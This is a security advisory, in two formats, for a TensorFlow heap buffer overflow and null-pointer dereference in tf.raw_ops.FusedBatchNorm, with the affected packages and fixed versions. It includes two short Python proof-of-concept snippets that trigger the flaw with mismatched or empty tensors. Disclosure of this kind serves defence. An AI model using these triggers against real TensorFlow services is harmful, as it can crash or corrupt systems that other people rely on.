BIT-tensorflow-2021-29583 — Heap buffer overflow and undefined behavior in `FusedBatchNorm`

2026-10-18T12:52:06.381071+00:00

Affected: Bitnami: tensorflow

TensorFlow is an end-to-end open source platform for machine learning. The implementation of `tf.raw_ops.FusedBatchNorm` is vulnerable to a heap buffer overflow. If the tensors are empty, the same implementation can trigger undefined behavior by dereferencing null pointers. The implementation(https://github.com/tensorflow/tensorflow/blob/57d86e0db5d1365f19adcce848dfc1bf89fdd4c7/tensorflow/core/kernels/fused_batch_norm_op.cc) fails to validate that `scale`, `offset`, `mean` and `variance` (the last two only when required) all have the same number of elements as the number of channels of `x`. This results in heap out of bounds reads when the buffers backing these tensors are indexed past their boundary. If the tensors are empty, the validation mentioned in the above paragraph would also trigger and prevent the undefined behavior. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

GHSA-9xh4-23q4-v6wr — Heap buffer overflow and undefined behavior in `FusedBatchNorm`

2026-10-18T12:52:06.381190+00:00

Affected: PyPI: tensorflow, PyPI: tensorflow-cpu, PyPI: tensorflow-gpu

### Impact The implementation of `tf.raw_ops.FusedBatchNorm` is vulnerable to a heap buffer overflow: ```python import tensorflow as tf

x = tf.zeros([10, 10, 10, 6], dtype=tf.float32) scale = tf.constant([0.0], shape=[1], dtype=tf.float32) offset = tf.constant([0.0], shape=[1], dtype=tf.float32) mean = tf.constant([0.0], shape=[1], dtype=tf.float32) variance = tf.constant([0.0], shape=[1], dtype=tf.float32) epsilon = 0.0 exponential_avg_factor = 0.0 data_format = "NHWC" is_training = False tf.raw_ops.FusedBatchNorm( x=x, scale=scale, offset=offset, mean=mean, variance=variance, epsilon=epsilon, exponential_avg_factor=exponential_avg_factor, data_format=data_format, is_training=is_training) ``` If the tensors are empty, the same implementation can trigger undefined behavior by dereferencing null pointers:

```python import tensorflow as tf import numpy as np

x = tf.zeros([10, 10, 10, 1], dtype=tf.float32) scale = tf.constant([], shape=[0], dtype=tf.float32) offset = tf.constant([], shape=[0], dtype=tf.float32) mean = tf.constant([], shape=[0], dtype=tf.float32) variance = tf.constant([], shape=[0], dtype=tf.float32) epsilon = 0.0 exponential_avg_factor = 0.0 data_format = "NHWC" is_training = False

tf.raw_ops.FusedBatchNorm( x=x, scale=scale, offset=offset, mean=mean, variance=variance, epsilon=epsilon, exponential_avg_factor=exponential_avg_factor, data_format=data_format, is_training=is_training) ```
